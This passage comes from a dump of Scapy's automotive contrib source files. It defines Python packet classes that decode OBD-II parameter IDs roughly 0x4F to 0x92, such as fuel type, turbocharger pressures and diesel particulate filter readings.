ScalingField('intake_manifold_absolute_pressure', 0,\n                     scaling=10, unit=\"kPa\")\n    ]\n\n\nclass OBD_PID50(OBD_Packet):\n    name = \"PID_50_MaximumValueForAirFlowRateFromMassAirFlowSensor\"\n    fields_desc = [\n        ScalingField('data', 0, scaling=10, unit=\"g/s\"),\n        ThreeBytesField('reserved', 0)\n    ]\n\n\nclass OBD_PID51(OBD_Packet):\n    name = \"PID_51_FuelType\"\n\n    fuelTypes = {\n        0: 'Not available',\n        1: 'Gasoline',\n        2: 'Methanol',\n        3: 'Ethanol',\n        4: 'Diesel',\n        5: 'LPG',\n        6: 'CNG',\n        7: 'Propane',\n        8: 'Electric',\n        9: 'Bifuel running Gasoline',\n        10: 'Bifuel running Methanol',\n        11: 'Bifuel running Ethanol',\n        12: 'Bifuel running LPG',\n        13: 'Bifuel running CNG',\n        14: 'Bifuel running Propane',\n        15: 'Bifuel running Electricity',\n        16: 'Bifuel running electric and combustion engine',\n        17: 'Hybrid gasoline',\n        18: 'Hybrid Ethanol',\n        19: 'Hybrid Diesel',\n        20: 'Hybrid Electric',\n        21: 'Hybrid running electric and combustion engine',\n        22: 'Hybrid Regenerative',\n        23: 'Bifuel running diesel'}\n\n    fields_desc = [\n        ByteEnumField('data', 0, fuelTypes)\n    ]\n\n\nclass OBD_PID52(_OBD_PercentPacket):\n    name = \"PID_52_EthanolFuel\"\n\n\nclass OBD_PID53(OBD_Packet):\n    name = \"PID_53_AbsoluteEvapSystemVaporPressure\"\n    fields_desc = [\n        ScalingField('data', 0, scaling=1 / 200., unit=\"kPa\", fmt=\"H\")\n    ]\n\n\nclass OBD_PID54(OBD_Packet):\n    name = \"PID_54_EvapSystemVaporPressure\"\n    fields_desc = [\n        ScalingField('data', 0, unit=\"Pa\", fmt=\"h\")\n    ]\n\n\nclass _OBD_SensorTrimPacket1(OBD_Packet):\n    fields_desc = [\n        ScalingField('bank1', 0, scaling=100 / 128.,\n                     offset=-100, unit=\"%\"),\n        ScalingField('bank3', 0, scaling=100 / 128.,\n                     offset=-100, unit=\"%\")\n    ]\n\n\nclass _OBD_SensorTrimPacket2(OBD_Packet):\n    fields_desc = [\n        ScalingField('bank2', 0, scaling=100 / 128.,\n                     offset=-100, unit=\"%\"),\n        ScalingField('bank4', 0, scaling=100 / 128.,\n                     offset=-100, unit=\"%\")\n    ]\n\n\nclass OBD_PID55(_OBD_SensorTrimPacket1):\n    name = \"PID_55_ShortTermSecondaryOxygenSensorTrim\"\n\n\nclass OBD_PID56(_OBD_SensorTrimPacket1):\n    name = \"PID_56_LongTermSecondaryOxygenSensorTrim\"\n\n\nclass OBD_PID57(_OBD_SensorTrimPacket2):\n    name = \"PID_57_ShortTermSecondaryOxygenSensorTrim\"\n\n\nclass OBD_PID58(_OBD_SensorTrimPacket2):\n    name = \"PID_58_LongTermSecondaryOxygenSensorTrim\"\n\n\nclass OBD_PID59(OBD_Packet):\n    name = \"PID_59_FuelRailAbsolutePressure\"\n    fields_desc = [\n        ScalingField('data', 0, scaling=10, unit=\"kPa\", fmt=\"H\")\n    ]\n\n\nclass OBD_PID5A(_OBD_PercentPacket):\n    name = \"PID_5A_RelativeAcceleratorPedalPosition\"\n\n\nclass OBD_PID5B(_OBD_PercentPacket):\n    name = \"PID_5B_HybridBatteryPackRemainingLife\"\n\n\nclass OBD_PID5C(OBD_Packet):\n    name = \"PID_5C_EngineOilTemperature\"\n    fields_desc = [\n        ScalingField('data', 0, unit=\"deg. C\", offset=-40.0)\n    ]\n\n\nclass OBD_PID5D(OBD_Packet):\n    name = \"PID_5D_FuelInjectionTiming\"\n    fields_desc = [\n        ScalingField('data', 0, scaling=1 / 128., offset=-210,\n                     unit=\"deg.\", fmt=\"H\")\n    ]\n\n\nclass OBD_PID5E(OBD_Packet):\n    name = \"PID_5E_EngineFuelRate\"\n    fields_desc = [\n        ScalingField('data', 0, scaling=0.05, unit=\"L/h\", fmt=\"H\")\n    ]\n\n\nclass OBD_PID5F(OBD_Packet):\n    name = \"PID_5F_EmissionRequirementsToWhichVehicleIsDesigned\"\n\n    emissionRequirementTypes = {\n        0xE: 'Heavy Duty Vehicles (EURO IV) B1',\n        0xF: 'Heavy Duty Vehicles (EURO V) B2',\n        0x10: 'Heavy Duty Vehicles (EURO EEV) C',\n    }\n\n    fields_desc = [\n        ByteEnumField('data', 0, emissionRequirementTypes)\n    ]\n"
  },
  {
    "path": "scapy/contrib/automotive/obd/pid/pids_60_7F.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Andreas Korb <andreas.d.korb@gmail.com>\n# Copyright (C) Nils Weiss <nils@we155.de>\n\n# scapy.contrib.status = skip\n\nfrom scapy.fields import BitField, FlagsField, ScalingField\nfrom scapy.contrib.automotive.obd.packet import OBD_Packet\n\n\n# See https://en.wikipedia.org/wiki/OBD-II_PIDs for further information\n# PID = Parameter IDentification\n\n\nclass OBD_PID60(OBD_Packet):\n    name = \"PID_60_PIDsSupported\"\n    fields_desc = [\n        FlagsField('supported_pids', 0, 32, [\n            'PID80',\n            'PID7F',\n            'PID7E',\n            'PID7D',\n            'PID7C',\n            'PID7B',\n            'PID7A',\n            'PID79',\n            'PID78',\n            'PID77',\n            'PID76',\n            'PID75',\n            'PID74',\n            'PID73',\n            'PID72',\n            'PID71',\n            'PID70',\n            'PID6F',\n            'PID6E',\n            'PID6D',\n            'PID6C',\n            'PID6B',\n            'PID6A',\n            'PID69',\n            'PID68',\n            'PID67',\n            'PID66',\n            'PID65',\n            'PID64',\n            'PID63',\n            'PID62',\n            'PID61'\n        ])\n    ]\n\n\nclass OBD_PID61(OBD_Packet):\n    name = \"PID_61_DriverSDemandEnginePercentTorque\"\n    fields_desc = [\n        ScalingField('data', 0, unit=\"%\", offset=-125.0)\n    ]\n\n\nclass OBD_PID62(OBD_Packet):\n    name = \"PID_62_ActualEnginePercentTorque\"\n    fields_desc = [\n        ScalingField('data', 0, unit=\"%\", offset=-125.0)\n    ]\n\n\nclass OBD_PID63(OBD_Packet):\n    name = \"PID_63_EngineReferenceTorque\"\n    fields_desc = [\n        ScalingField('data', 0, unit=\"Nm\", fmt=\"H\")\n    ]\n\n\nclass OBD_PID64(OBD_Packet):\n    name = \"PID_64_EnginePercentTorqueData\"\n    fields_desc = [\n        ScalingField('at_point1', 0, unit=\"%\", offset=-125.0),\n        ScalingField('at_point2', 0, unit=\"%\", offset=-125.0),\n        ScalingField('at_point3', 0, unit=\"%\", offset=-125.0),\n        ScalingField('at_point4', 0, unit=\"%\", offset=-125.0),\n        ScalingField('at_point5', 0, unit=\"%\", offset=-125.0)\n    ]\n\n\nclass OBD_PID65(OBD_Packet):\n    name = \"PID_65_AuxiliaryInputOutputSupported\"\n    fields_desc = [\n        BitField('reserved1', 0, 4),\n        BitField('glow_plug_lamp_status_supported', 0, 1),\n        BitField('manual_trans_neutral_drive_status_supported', 0, 1),\n        BitField('auto_trans_neutral_drive_status_supported', 0, 1),\n        BitField('power_take_off_status_supported', 0, 1),\n\n        BitField('reserved2', 0, 4),\n        BitField('glow_plug_lamp_status', 0, 1),\n        BitField('manual_trans_neutral_drive_status', 0, 1),\n        BitField('auto_trans_neutral_drive_status', 0, 1),\n        BitField('power_take_off_status', 0, 1),\n    ]\n\n\nclass OBD_PID66(OBD_Packet):\n    name = \"PID_66_MassAirFlowSensor\"\n    fields_desc = [\n        BitField('reserved', 0, 6),\n        BitField('sensor_b_supported', 0, 1),\n        BitField('sensor_a_supported', 0, 1),\n        ScalingField('sensor_a', 0, scaling=0.03125, unit=\"g/s\", fmt=\"H\"),\n        ScalingField('sensor_b', 0, scaling=0.03125, unit=\"g/s\", fmt=\"H\"),\n    ]\n\n\nclass OBD_PID67(OBD_Packet):\n    name = \"PID_67_EngineCoolantTemperature\"\n    fields_desc = [\n        BitField('reserved', 0, 6),\n        BitField('sensor2_supported', 0, 1),\n        BitField('sensor1_supported', 0, 1),\n        ScalingField('sensor1', 0, unit=\"deg. C\", offset=-40.0),\n        ScalingField('sensor2', 0, unit=\"deg. C\", offset=-40.0)\n    ]\n\n\nclass OBD_PID68(OBD_Packet):\n    name = \"PID_68_IntakeAirTemperatureSensor\"\n    fields_desc = [\n        BitField('reserved', 0, 2),\n        BitField('bank2_sensor3_supported', 0, 1),\n        BitField('bank2_sensor2_supported', 0, 1),\n        BitField('bank2_sensor1_supported', 0, 1),\n        BitField('bank1_sensor3_supported', 0, 1),\n        BitField('bank1_sensor2_supported', 0, 1),\n        BitField('bank1_sensor1_supported', 0, 1),\n        ScalingField('bank1_sensor1', 0, unit=\"deg. C\", offset=-40),\n        ScalingField('bank1_sensor2', 0, unit=\"deg. C\", offset=-40),\n        ScalingField('bank1_sensor3', 0, unit=\"deg. C\", offset=-40),\n        ScalingField('bank2_sensor1', 0, unit=\"deg. C\", offset=-40),\n        ScalingField('bank2_sensor2', 0, unit=\"deg. C\", offset=-40),\n        ScalingField('bank2_sensor3', 0, unit=\"deg. C\", offset=-40)\n    ]\n\n\nclass OBD_PID69(OBD_Packet):\n    name = \"PID_69_CommandedEgrAndEgrError\"\n    fields_desc = [\n        BitField('reserved', 0, 2),\n        BitField('egr_b_error_supported', 0, 1),\n        BitField('actual_egr_b_duty_cycle_supported', 0, 1),\n        BitField('commanded_egr_b_duty_cycle_supported', 0, 1),\n        BitField('egr_a_error_supported', 0, 1),\n        BitField('actual_egr_a_duty_cycle_supported', 0, 1),\n        BitField('commanded_egr_a_duty_cycle_supported', 0, 1),\n        ScalingField('commanded_egr_a_duty_cycle', 0, scaling=100 / 255.,\n                     unit=\"%\"),\n        ScalingField('actual_egr_a_duty_cycle', 0, scaling=100 / 255.,\n                     unit=\"%\"),\n        ScalingField('egr_a_error', 0, scaling=100 / 128., unit=\"%\",\n                     offset=-100),\n        ScalingField('commanded_egr_b_duty_cycle', 0, scaling=100 / 255.,\n                     unit=\"%\"),\n        ScalingField('actual_egr_b_duty_cycle', 0, scaling=100 / 255.,\n                     unit=\"%\"),\n        ScalingField('egr_b_error', 0, scaling=100 / 128., unit=\"%\",\n                     offset=-100),\n    ]\n\n\nclass OBD_PID6A(OBD_Packet):\n    name = \"PID_6A_CommandedDieselIntakeAirFlowControl\" \\\n           \"AndRelativeIntakeAirFlowPosition\"\n    fields_desc = [\n        BitField('reserved', 0, 4),\n        BitField('relative_intake_air_flow_b_position_supported', 0, 1),\n        BitField('commanded_intake_air_flow_b_control_supported', 0, 1),\n        BitField('relative_intake_air_flow_a_position_supported', 0, 1),\n        BitField('commanded_intake_air_flow_a_control_supported', 0, 1),\n        ScalingField('commanded_intake_air_flow_a_control', 0,\n                     scaling=100 / 255., unit=\"%\"),\n        ScalingField('relative_intake_air_flow_a_position', 0,\n                     scaling=100 / 255., unit=\"%\"),\n        ScalingField('commanded_intake_air_flow_b_control', 0,\n                     scaling=100 / 255., unit=\"%\"),\n        ScalingField('relative_intake_air_flow_b_position', 0,\n                     scaling=100 / 255., unit=\"%\"),\n    ]\n\n\nclass OBD_PID6B(OBD_Packet):\n    name = \"PID_6B_ExhaustGasRecirculationTemperature\"\n    fields_desc = [\n        BitField('reserved', 0, 4),\n        BitField('bank2_sensor2_supported', 0, 1),\n        BitField('bank2_sensor1_supported', 0, 1),\n        BitField('bank1_sensor2_supported', 0, 1),\n        BitField('bank1_sensor1_supported', 0, 1),\n        ScalingField('bank1_sensor1', 0, unit=\"deg. C\", offset=-40),\n        ScalingField('bank1_sensor2', 0, unit=\"deg. C\", offset=-40),\n        ScalingField('bank2_sensor1', 0, unit=\"deg. C\", offset=-40),\n        ScalingField('bank2_sensor2', 0, unit=\"deg. C\", offset=-40),\n    ]\n\n\nclass OBD_PID6C(OBD_Packet):\n    name = \"PID_6C_CommandedThrottleActuatorControlAndRelativeThrottlePosition\"\n    fields_desc = [\n        BitField('reserved', 0, 4),\n        BitField('relative_throttle_b_position_supported', 0, 1),\n        BitField('commanded_throttle_actuator_b_control_supported', 0, 1),\n        BitField('relative_throttle_a_position_supported', 0, 1),\n        BitField('commanded_throttle_actuator_a_control_supported', 0, 1),\n        ScalingField('commanded_throttle_actuator_a_control', 0,\n                     scaling=100 / 255., unit=\"%\"),\n        ScalingField('relative_throttle_a_position', 0,\n                     scaling=100 / 255., unit=\"%\"),\n        ScalingField('commanded_throttle_actuator_b_control', 0,\n                     scaling=100 / 255., unit=\"%\"),\n        ScalingField('relative_throttle_b_position', 0,\n                     scaling=100 / 255., unit=\"%\"),\n    ]\n\n\nclass OBD_PID6D(OBD_Packet):\n    name = \"PID_6D_FuelPressureControlSystem\"\n    fields_desc = [\n        BitField('reserved', 0, 5),\n        BitField('fuel_temperature_supported', 0, 1),\n        BitField('fuel_rail_pressure_supported', 0, 1),\n        BitField('commanded_fuel_rail_pressure_supported', 0, 1),\n        ScalingField('commanded_fuel_rail_pressure', 0, scaling=10, unit=\"kPa\",\n                     fmt='H'),\n        ScalingField('fuel_rail_pressure', 0, scaling=10, unit=\"kPa\",\n                     fmt='H'),\n        ScalingField('fuel_rail_temperature', 0, unit=\"deg. C\", offset=-40)\n    ]\n\n\nclass OBD_PID6E(OBD_Packet):\n    name = \"PID_6E_InjectionPressureControlSystem\"\n    fields_desc = [\n        BitField('reserved', 0, 6),\n        BitField('injection_control_pressure_supported', 0, 1),\n        BitField('commanded_injection_control_pressure_supported', 0, 1),\n        ScalingField('commanded_injection_control_pressure', 0, scaling=10,\n                     unit=\"kPa\", fmt='H'),\n        ScalingField('injection_control_pressure', 0, scaling=10,\n                     unit=\"kPa\", fmt='H'),\n    ]\n\n\nclass OBD_PID6F(OBD_Packet):\n    name = \"PID_6F_TurbochargerCompressorInletPressure\"\n    fields_desc = [\n        BitField('reserved', 0, 6),\n        BitField('sensor_b_supported', 0, 1),\n        BitField('sensor_a_supported', 0, 1),\n        ScalingField('sensor_a', 0, unit=\"kPa\"),\n        ScalingField('sensor_b', 0, unit=\"kPa\"),\n    ]\n\n\nclass OBD_PID70(OBD_Packet):\n    name = \"PID_70_BoostPressureControl\"\n    fields_desc = [\n        BitField('reserved', 0, 4),\n        BitField('boost_pressure_sensor_b_supported', 0, 1),\n        BitField('commanded_boost_pressure_b_supported', 0, 1),\n        BitField('boost_pressure_sensor_a_supported', 0, 1),\n        BitField('commanded_boost_pressure_a_supported', 0, 1),\n        ScalingField('commanded_boost_pressure_a', 0, scaling=0.03125,\n                     unit=\"kPa\", fmt='H'),\n        ScalingField('boost_pressure_sensor_a', 0, scaling=0.03125,\n                     unit=\"kPa\", fmt='H'),\n        ScalingField('commanded_boost_pressure_b', 0, scaling=0.03125,\n                     unit=\"kPa\", fmt='H'),\n        ScalingField('boost_pressure_sensor_b', 0, scaling=0.03125,\n                     unit=\"kPa\", fmt='H'),\n    ]\n\n\nclass OBD_PID71(OBD_Packet):\n    name = \"PID_71_VariableGeometryTurboControl\"\n    fields_desc = [\n        BitField('reserved', 0, 4),\n        BitField('vgt_b_position_supported', 0, 1),\n        BitField('commanded_vgt_b_position_supported', 0, 1),\n        BitField('vgt_a_position_supported', 0, 1),\n        BitField('commanded_vgt_a_position_supported', 0, 1),\n        ScalingField('commanded_variable_geometry_turbo_a_position', 0,\n                     scaling=100 / 255., unit=\"%\"),\n        ScalingField('variable_geometry_turbo_a_position', 0,\n                     scaling=100 / 255., unit=\"%\"),\n        ScalingField('commanded_variable_geometry_turbo_b_position', 0,\n                     scaling=100 / 255., unit=\"%\"),\n        ScalingField('variable_geometry_turbo_b_position', 0,\n                     scaling=100 / 255., unit=\"%\"),\n    ]\n\n\nclass OBD_PID72(OBD_Packet):\n    name = \"PID_72_WastegateControl\"\n    fields_desc = [\n        BitField('reserved', 0, 4),\n        BitField('wastegate_b_position_supported', 0, 1),\n        BitField('commanded_wastegate_b_position_supported', 0, 1),\n        BitField('wastegate_a_position_supported', 0, 1),\n        BitField('commanded_wastegate_a_position_supported', 0, 1),\n        ScalingField('commanded_wastegate_a_position', 0,\n                     scaling=100 / 255., unit=\"%\"),\n        ScalingField('wastegate_a_position', 0,\n                     scaling=100 / 255., unit=\"%\"),\n        ScalingField('commanded_wastegate_b_position', 0,\n                     scaling=100 / 255., unit=\"%\"),\n        ScalingField('wastegate_b_position', 0,\n                     scaling=100 / 255., unit=\"%\"),\n    ]\n\n\nclass OBD_PID73(OBD_Packet):\n    name = \"PID_73_ExhaustPressure\"\n    fields_desc = [\n        BitField('reserved', 0, 6),\n        BitField('sensor_bank2_supported', 0, 1),\n        BitField('sensor_bank1_supported', 0, 1),\n        ScalingField('sensor_bank1', 0, scaling=0.01, unit=\"kPa\", fmt='H'),\n        ScalingField('sensor_bank2', 0, scaling=0.01, unit=\"kPa\", fmt='H'),\n    ]\n\n\nclass OBD_PID74(OBD_Packet):\n    name = \"PID_74_TurbochargerRpm\"\n    fields_desc = [\n        BitField('reserved', 0, 6),\n        BitField('b_supported', 0, 1),\n        BitField('a_supported', 0, 1),\n        ScalingField('a_rpm', 0, unit=\"min-1\", fmt='H'),\n        ScalingField('b_rpm', 0, unit=\"min-1\", fmt='H'),\n    ]\n\n\nclass OBD_PID75(OBD_Packet):\n    name = \"PID_75_TurbochargerATemperature\"\n    fields_desc = [\n        BitField('reserved', 0, 4),\n        BitField('turbo_a_turbine_outlet_temperature_supported', 0, 1),\n        BitField('turbo_a_turbine_inlet_temperature_supported', 0, 1),\n        BitField('turbo_a_compressor_outlet_temperature_supported', 0, 1),\n        BitField('turbo_a_compressor_inlet_temperature_supported', 0, 1),\n        ScalingField('turbocharger_a_compressor_inlet_temperature', 0,\n                     unit=\"deg. C\", offset=-40),\n        ScalingField('turbocharger_a_compressor_outlet_temperature', 0,\n                     unit=\"deg. C\", offset=-40),\n        ScalingField('turbocharger_a_turbine_inlet_temperature', 0,\n                     unit=\"deg. C\", offset=-40, fmt='H',\n                     scaling=0.1),\n        ScalingField('turbocharger_a_turbine_outlet_temperature', 0,\n                     unit=\"deg. C\", offset=-40, fmt='H',\n                     scaling=0.1),\n    ]\n\n\nclass OBD_PID76(OBD_Packet):\n    name = \"PID_76_TurbochargerBTemperature\"\n    fields_desc = [\n        BitField('reserved', 0, 4),\n        BitField('turbo_a_turbine_outlet_temperature_supported', 0, 1),\n        BitField('turbo_a_turbine_inlet_temperature_supported', 0, 1),\n        BitField('turbo_a_compressor_outlet_temperature_supported', 0, 1),\n        BitField('turbo_a_compressor_inlet_temperature_supported', 0, 1),\n        ScalingField('turbocharger_a_compressor_inlet_temperature', 0,\n                     unit=\"deg. C\", offset=-40),\n        ScalingField('turbocharger_a_compressor_outlet_temperature', 0,\n                     unit=\"deg. C\", offset=-40),\n        ScalingField('turbocharger_a_turbine_inlet_temperature', 0,\n                     unit=\"deg. C\", offset=-40, fmt='H',\n                     scaling=0.1),\n        ScalingField('turbocharger_a_turbine_outlet_temperature', 0,\n                     unit=\"deg. C\", offset=-40, fmt='H',\n                     scaling=0.1),\n    ]\n\n\nclass OBD_PID77(OBD_Packet):\n    name = \"PID_77_ChargeAirCoolerTemperature\"\n    fields_desc = [\n        BitField('reserved', 0, 4),\n        BitField('bank2_sensor2_supported', 0, 1),\n        BitField('bank2_sensor1_supported', 0, 1),\n        BitField('bank1_sensor2_supported', 0, 1),\n        BitField('bank1_sensor1_supported', 0, 1),\n        ScalingField('bank1_sensor1', 0, unit=\"deg. C\", offset=-40),\n        ScalingField('bank1_sensor2', 0, unit=\"deg. C\", offset=-40),\n        ScalingField('bank2_sensor1', 0, unit=\"deg. C\", offset=-40),\n        ScalingField('bank2_sensor2', 0, unit=\"deg. C\", offset=-40),\n    ]\n\n\nclass _OBD_PID_ExhaustGasTemperatureBank(OBD_Packet):\n    fields_desc = [\n        BitField('reserved', 0, 4),\n        BitField('sensor4_supported', 0, 1),\n        BitField('sensor3_supported', 0, 1),\n        BitField('sensor2_supported', 0, 1),\n        BitField('sensor1_supported', 0, 1),\n        ScalingField('sensor1', 0, unit=\"deg. C\", offset=-40,\n                     scaling=0.1, fmt='H'),\n        ScalingField('sensor2', 0, unit=\"deg. C\", offset=-40,\n                     scaling=0.1, fmt='H'),\n        ScalingField('sensor3', 0, unit=\"deg. C\", offset=-40,\n                     scaling=0.1, fmt='H'),\n        ScalingField('sensor4', 0, unit=\"deg. C\", offset=-40,\n                     scaling=0.1, fmt='H'),\n    ]\n\n\nclass OBD_PID78(_OBD_PID_ExhaustGasTemperatureBank):\n    name = \"PID_78_ExhaustGasTemperatureBank1\"\n\n\nclass OBD_PID79(_OBD_PID_ExhaustGasTemperatureBank):\n    name = \"PID_79_ExhaustGasTemperatureBank2\"\n\n\nclass _OBD_PID_DieselParticulateFilter(OBD_Packet):\n    fields_desc = [\n        BitField('reserved', 0, 5),\n        BitField('outlet_pressure_supported', 0, 1),\n        BitField('inlet_pressure_supported', 0, 1),\n        BitField('delta_pressure_supported', 0, 1),\n        ScalingField('delta_pressure', 0,\n                     unit='kPa', offset=-327.68, scaling=0.01, fmt='H'),\n        ScalingField('particulate_filter', 0,\n                     unit='kPa', scaling=0.01, fmt='H'),\n        ScalingField('outlet_pressure', 0,\n                     unit='kPa', scaling=0.01, fmt='H'),\n    ]\n\n\nclass OBD_PID7A(_OBD_PID_DieselParticulateFilter):\n    name = \"PID_7A_DieselParticulateFilter1\"\n\n\nclass OBD_PID7B(_OBD_PID_DieselParticulateFilter):\n    name = \"PID_7B_DieselParticulateFilter2\"\n\n\nclass OBD_PID7C(OBD_Packet):\n    name = \"PID_7C_DieselParticulateFilterTemperature\"\n    fields_desc = [\n        BitField('reserved', 0, 4),\n        BitField('bank2_outlet_temperature_supported', 0, 1),\n        BitField('bank2_inlet_temperature_supported', 0, 1),\n        BitField('bank1_outlet_temperature_supported', 0, 1),\n        BitField('bank1_inlet_temperature_supported', 0, 1),\n        ScalingField('bank1_inlet_temperature_sensor', 0,\n                     unit=\"deg. C\", offset=-40, scaling=0.1, fmt='H'),\n        ScalingField('bank1_outlet_temperature_sensor', 0,\n                     unit=\"deg. C\", offset=-40, scaling=0.1, fmt='H'),\n        ScalingField('bank2_inlet_temperature_sensor', 0,\n                     unit=\"deg. C\", offset=-40, scaling=0.1, fmt='H'),\n        ScalingField('bank2_outlet_temperature_sensor', 0,\n                     unit=\"deg. C\", offset=-40, scaling=0.1, fmt='H'),\n    ]\n\n\nclass OBD_PID7D(OBD_Packet):\n    name = \"PID_7D_NoxNteControlAreaStatus\"\n    fields_desc = [\n        BitField('reserved', 0, 4),\n        BitField('nte_deficiency_for_nox_active_area', 0, 1),\n        BitField('inside_manufacturer_specific_nox_nte_carve_out_area', 0, 1),\n        BitField('outside', 0, 1),\n        BitField('inside', 0, 1),\n    ]\n\n\nclass OBD_PID7E(OBD_Packet):\n    name = \"PID_7E_PmNteControlAreaStatus\"\n    fields_desc = [\n        BitField('reserved', 0, 4),\n        BitField('nte_deficiency_for_pm_active_area', 0, 1),\n        BitField('inside_manufacturer_specific_pm_nte_carve_out_area', 0, 1),\n        BitField('outside', 0, 1),\n        BitField('inside', 0, 1),\n    ]\n\n\nclass OBD_PID7F(OBD_Packet):\n    name = \"PID_7F_EngineRunTime\"\n    fields_desc = [\n        BitField('reserved', 0, 5),\n        BitField('total_with_pto_active_supported', 0, 1),\n        BitField('total_idle_supported', 0, 1),\n        BitField('total_supported', 0, 1),\n        ScalingField('total', 0, unit='sec', fmt='Q'),\n        ScalingField('total_idle', 0, unit='sec', fmt='Q'),\n        ScalingField('total_with_pto_active', 0, unit='sec', fmt='Q'),\n    ]\n"
  },
  {
    "path": "scapy/contrib/automotive/obd/pid/pids_80_9F.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Andreas Korb <andreas.d.korb@gmail.com>\n# Copyright (C) Nils Weiss <nils@we155.de>\n\n# scapy.contrib.status = skip\n\nfrom scapy.fields import StrFixedLenField, FlagsField, ScalingField, BitField\nfrom scapy.contrib.automotive.obd.packet import OBD_Packet\n\n\n# See https://en.wikipedia.org/wiki/OBD-II_PIDs for further information\n# PID = Parameter IDentification\n\nclass OBD_PID80(OBD_Packet):\n    name = \"PID_80_PIDsSupported\"\n    fields_desc = [\n        FlagsField('supported_pids', 0, 32, [\n            'PIDA0',\n            'PID9F',\n            'PID9E',\n            'PID9D',\n            'PID9C',\n            'PID9B',\n            'PID9A',\n            'PID99',\n            'PID98',\n            'PID97',\n            'PID96',\n            'PID95',\n            'PID94',\n            'PID93',\n            'PID92',\n            'PID91',\n            'PID90',\n            'PID8F',\n            'PID8E',\n            'PID8D',\n            'PID8C',\n            'PID8B',\n            'PID8A',\n            'PID89',\n            'PID88',\n            'PID87',\n            'PID86',\n            'PID85',\n            'PID84',\n            'PID83',\n            'PID82',\n            'PID81'\n        ])\n    ]\n\n\nclass OBD_PID81(OBD_Packet):\n    name = \"PID_81_EngineRunTimeForAuxiliaryEmissionsControlDevice\"\n    fields_desc = [\n        BitField('reserved', 0, 3),\n        BitField('total_run_time_with_ei_aecd5_supported', 0, 1),\n        BitField('total_run_time_with_ei_aecd4_supported', 0, 1),\n        BitField('total_run_time_with_ei_aecd3_supported', 0, 1),\n        BitField('total_run_time_with_ei_aecd2_supported', 0, 1),\n        BitField('total_run_time_with_ei_aecd1_supported', 0, 1),\n        ScalingField('total_run_time_with_ei_aecd1', 0, unit='sec',\n                     fmt='Q'),\n        ScalingField('total_run_time_with_ei_aecd2', 0, unit='sec',\n                     fmt='Q'),\n        ScalingField('total_run_time_with_ei_aecd3', 0, unit='sec',\n                     fmt='Q'),\n        ScalingField('total_run_time_with_ei_aecd4', 0, unit='sec',\n                     fmt='Q'),\n        ScalingField('total_run_time_with_ei_aecd5', 0, unit='sec',\n                     fmt='Q'),\n    ]\n\n\nclass OBD_PID82(OBD_Packet):\n    name = \"PID_82_EngineRunTimeForAuxiliaryEmissionsControlDevice\"\n    fields_desc = [\n        BitField('reserved', 0, 3),\n        BitField('total_run_time_with_ei_aecd10_supported', 0, 1),\n        BitField('total_run_time_with_ei_aecd9_supported', 0, 1),\n        BitField('total_run_time_with_ei_aecd8_supported', 0, 1),\n        BitField('total_run_time_with_ei_aecd7_supported', 0, 1),\n        BitField('total_run_time_with_ei_aecd6_supported', 0, 1),\n        ScalingField('total_run_time_with_ei_aecd6', 0, unit='sec',\n                     fmt='Q'),\n        ScalingField('total_run_time_with_ei_aecd7', 0, unit='sec',\n                     fmt='Q'),\n        ScalingField('total_run_time_with_ei_aecd8', 0, unit='sec',\n                     fmt='Q'),\n        ScalingField('total_run_time_with_ei_aecd9', 0, unit='sec',\n                     fmt='Q'),\n        ScalingField('total_run_time_with_ei_aecd10', 0, unit='sec',\n                     fmt='Q'),\n    ]\n\n\nclass OBD_PID83(OBD_Packet):\n    name = \"PID_83_NOxSensor\"\n    fields_desc = [\n        BitField('reserved', 0, 6),\n        BitField('nox_sensor_concentration_bank2_sensor1_supported', 0, 1),\n        BitField('nox_sensor_concentration_bank1_sensor1_supported', 0, 1),\n        ScalingField('nox_sensor_concentration_bank1_sensor1', 0, unit='ppm',\n                     fmt='H'),\n        ScalingField('nox_sensor_concentration_bank2_sensor1', 0, unit='ppm',\n                     fmt='H'),\n    ]\n\n\nclass OBD_PID84(OBD_Packet):\n    name = \"PID_84_ManifoldSurfaceTemperature\"\n    fields_desc = [\n        StrFixedLenField('data', b'', 1)\n    ]\n\n\nclass OBD_PID85(OBD_Packet):\n    name = \"PID_85_NoxReagentSystem\"\n    fields_desc = [\n        StrFixedLenField('data', b'', 10)\n    ]\n\n\nclass OBD_PID86(OBD_Packet):\n    name = \"PID_86_ParticulateMatterSensor\"\n    fields_desc = [\n        StrFixedLenField('data', b'', 5)\n    ]\n\n\nclass OBD_PID87(OBD_Packet):\n    name = \"PID_87_IntakeManifoldAbsolutePressure\"\n    fields_desc = [\n        StrFixedLenField('data', b'', 5)\n    ]\n\n\nclass OBD_PID88(OBD_Packet):\n    name = \"PID_88_ScrInduceSystem\"\n    fields_desc = [\n        StrFixedLenField('data', b'', 13)\n    ]\n\n\nclass OBD_PID89(OBD_Packet):\n    # 11 - 15\n    name = \"PID_89_RunTimeForAecd\"\n    fields_desc = [\n        StrFixedLenField('data', b'', 41)\n    ]\n\n\nclass OBD_PID8A(OBD_Packet):\n    # 16 - 20\n    name = \"PID_8A_RunTimeForAecd\"\n    fields_desc = [\n        StrFixedLenField('data', b'', 41)\n    ]\n\n\nclass OBD_PID8B(OBD_Packet):\n    name = \"PID_8B_DieselAftertreatment\"\n    fields_desc = [\n        StrFixedLenField('data', b'', 7)\n    ]\n\n\nclass OBD_PID8C(OBD_Packet):\n    name = \"PID_8C_O2Sensor\"\n    fields_desc = [\n        StrFixedLenField('data', b'', 16)\n    ]\n\n\nclass OBD_PID8D(OBD_Packet):\n    name = \"PID_8D_ThrottlePositionG\"\n    fields_desc = [\n        StrFixedLenField('data', b'', 1)\n    ]\n\n\nclass OBD_PID8E(OBD_Packet):\n    name = \"PID_8E_EngineFrictionPercentTorque\"\n    fields_desc = [\n        StrFixedLenField('data', b'', 1)\n    ]\n\n\nclass OBD_PID8F(OBD_Packet):\n    name = \"PID_8F_PmSensorBank1And2\"\n    fields_desc = [\n        StrFixedLenField('data', b'', 5)\n    ]\n\n\nclass OBD_PID90(OBD_Packet):\n    name = \"PID_90_WwhObdVehicleObdSystemInformation\"\n    fields_desc = [\n        StrFixedLenField('data', b'', 3)\n    ]\n\n\nclass OBD_PID91(OBD_Packet):\n    name = \"PID_91_WwhObdVehicleObdSystemInformation\"\n    fields_desc = [\n        StrFixedLenField('data', b'', 5)\n    ]\n\n\nclass OBD_PID92(OBD_Packet):\n    name = \"PID_92_FuelSystemControl\"\n    